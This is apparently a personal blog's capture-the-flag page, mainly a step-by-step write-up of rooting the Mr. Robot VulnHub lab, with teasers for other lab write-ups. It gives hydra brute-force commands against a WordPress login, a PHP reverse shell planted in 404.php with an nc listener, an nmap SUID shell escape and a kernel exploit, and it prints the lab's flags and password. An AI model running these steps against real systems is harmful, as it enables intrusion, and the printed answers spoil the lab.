Category: vulnhub

  • Rooting Mr. Robot

    Rooting Mr. Robot

    Task Goal:

    1. To get root access to the machine

    2. Acquire three keys:

        1. Key 1: 073403c8a58a1f80d943455fb30724b9
        2. Key 2: 822c73956184f694993bede3eb39f959
        3. Key 3: 04787ddef27c3dee1ee161b21670b4e4

     

    Resource Materials:
    Download Mr. Robot Machine from Here.
    Download Kali Linux Machine from Here.

    Information Gathering:

    Step 01:  ifconfig
    Kali Linux Machine IP:  192.168.56.4

    Step 02: nmap 192.168.56.4/24
    Mr. Robot or Target Machine IP: 192.168.56.3


    Step 03:  Get the details of ports and services running on Target Machine

    nmap -sC -sV -p-  192.168.56.3 >  vulhub/mrrobot/nmap.log

    It’s clearly showing that there is a web server  running on port 80 and 443. Let me visit those.

    Yes, I checked the details of the front-end, didn’t find anything of use. Then, I checked the source code.

    Nothing special either.

    I read couple of write-ups in the past and those help me to have a methodology of myself. Usually, at this time, usually I check for availability of robots.txt and if I don’t find any, then I run nikto and gobuster.

    Luckily I found something through robots.txt

    I want to download those files.. By the way, by the look of it, I can deduce one thing that, I need to get three keys and out of those three, here is the first one 🙂 Yippee!

    Step 04: Download all the materials

    wget 192.168.56.3/fsocity.dic
    
    wget 192.168.56.3/key-1-of-3.txt
    
    cat key-1-of-3.txt
    
    073403c8a58a1f80d943455fb30724b9

    To be honest, my happiness did short live.. after the first key, I am reached at my wits end. Therefore, usually at such period, I look carefully to the things I found and if I didn’t find anything substantial, I do enumerate again..

    I have two ideas in my mind.. one is to play around with the word list

     fsocity.dic

    We will launch a brute force attack on wp-login.php page.

    Another one is to perform nikto and gobuster. To save time, I am going to do everything simultaneously…

    Luckily I performed sort, else it will definitely going to take a huge amount of time. (because I found many duplicate datas in the dictionary file which I downloaded from the target website)

    By the way, I have saved a script to perform wp-login.php  bruteforce attack sometime back and I am glad that I can use it here 🙂  (By the way, you don’t have to worry about this script, if you which to learn about this, you can easily fire your burp suite and you will get the main logic and,  man hyra will help you to frame the argument).

    Step 05:

    1. Brute Force  wp-login.php

    a)  We don’t know the username. So first we will do the username brute force.

    hydra -vV -L fsociety.dic -p test 192.168.56.3 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

    b) Username: is elliot
    Now, we need to bruteforce password.  To get password, here is it..

    hydra -vV -l elliot -P fsociety.dic 192.168.56.3 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

    And password is : ER28-0652


    At the background, I would like to run the following two tasks (because I want to dig little more)

    2. Run nikto

    nikto -h 192.168.56.3 > nikto-192.168.56.3.log

    3. Run gobuster

    gobuster dir -u http://192.168.56.3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

    Step 05: Took huge amount of time (because of Brute Force)

    Anyway, I logged into the website, and luckily “Editor” function is not disabled, that means I can inject my own code in there.  I am going to plant a php reverse shell there in 404.php page. Because not many developer or people care for this page.

    pentest-monkey has great list of scripts.  you can download the php reverse shell from here.  

    I did copy the shell and paste it in 404.php

    By the way, you need to change the IP address and port number which mentioned the the php reverse shell. Port number can be anything of your choice and my favorite is 9000. well the IP address of my Kali Linux Machine is 192.168.56.5 (I reset my machine, you won’t face any problem)

    My Kali Linux (or Attacker) machine is waiting the reverse connection

    nc -lvp 9000

    Now, all I need to do is to visit the 404.php. It indeed thrown reverse connection just by visiting http://192.168.56.5/404.php

    I found the flag2 and a credential file. However, due to privilege restriction, I am not able to access it.

    To be honest, at this moment,  I have left with no choice but to enumerate whether there are any SUID enabled binaries on the server; to escalate my current privilege … let’s try.. (If you need to know more about SUID binary finding, visit this link)

    find / -perm -u=s -type f 2>/dev/null 
    
    /usr/local/bin/nmap --interactive 
    
    !sh 
    
    cat home/robot/key-2-of-3.txt 
    822c73956184f694993bede3eb39f959  [our second flag]
    
    cat home/robot/password.raw-md5
    robot:c3fcd3d76192e4007dfb496cca67e13b

    Privilege escalation using nmap resource is here.

    I tried john to crack the hash, and vm crashed for several times.. so I decided to move forward. (Later I was able to crack the hash using https://crackstation.net)

    Again bumped to the wall so …what we need to do is enumerate more..

    I read a many articles on eternal-blue and dirty cow, because many of the people recommend to try those (kernel) exploit if you don’t have any option left. At that moment, I thought it is my time to check for kernel exploit. Therefore, I checked the kernel version, and it is indeed vulnerable to an exploit.

    kernel version of the Target machine:

    uname -r

    The kernel version is 3.13.0-55-generic, which is vulnerable to this exploit.

    I did compiled the exploit on the victim machine and executed the exploit on victim machine and yeah.. Got the root as well as the third or the final flag..

    gcc exploit.c -o exploit 
    ./exploit 
    id 
    cat /home/root/key-3-of-3.txt
    04787ddef27c3dee1ee161b21670b4e4

     

    Voila!! Finally…

    Although I have popped this machine earlier using msfconsole, but this time, I did it entirely  manually and it’s truly more satisfying and learned many more cool things!!

     

  • rooting fristi

    rooting fristi

    Due to global warming, even the places I stay becoming quite hot. Yeah, I am living in Dharamsala, just beneath the Himalayan mountainous region. I feel sorry for all the people who stays in extremely hot regions or cold regions because of the global warming, therefore, I promise I will use the trash-bin well …

    Ok, lets drive in..

    Step 01:

    nmap -sC -sV -p- -A -T4 -oN nmap.log 192.168.56.101

    (more…)

  • A beautiful Saturday with ‘Toppo’ machine

    A beautiful Saturday with ‘Toppo’ machine

    Tashi Delek everyone!

    Today is a beautiful Saturday and I have a very good news to share with you that I have raised enough money to fund myself to pursue OSCP course for 90 days, however, I think I will raise little more so that I could apply a better internet connection also.

    Oh yeah, today I rooted a machine which I rooted actually quite sometime back and can’t recall how I did it, so I think it is a good mild challenge to resume my preparation.

    (more…)

  • BullDog – A Writeup

    BullDog – A Writeup

    Good morning everyone!

    I am trying to configure some server and doing some log analysis therefore, I slept little late. Usually, I sleep comparatively earlier than all my friends and is an early riser.

    After a quick shower, I had a good breakfast and wrote few emails to some clients and my former bosses about work related things.  Subsequently I had an opportunity to share few thoughts with some young college students (I know I am young but in front of them, giving the fact that my priority in life and how I look at things, I must admit that I am bit old lol ). The reason I am sharing this story is that when it comes to sharing your experience or guiding your junior, it is quite important not to inundate the listener and besides, find a good excuse to end the conversation as soon as like before 10 minutes. I think if I keep this habit, it will definitely going to enhance the productivity of the both party.. (It is hypothetical which I would like to experiment 🙂 )

    (more…)

  • WinterMute Straylight Beta Writeup

    Tashi Delek to you !!

    These days I am in Bangalore and during my spare time I read many Reviews and Personal Stories of the people who appeared OSCP exam. And every people has different level of experiences with the course and the exam. I am not sure why but I like the write-ups of those people who appeared the exam more than once. Probably, cause I can connect with them more as I am also a  newbie..

    Anyway, instead of living in fear and doing nothing,  I am going to practice at least 20 boxes before actually taking the course, that way, I might probably be in better position to clear that exam!

    Ok enough said, let’s dive in 😉

    (more…)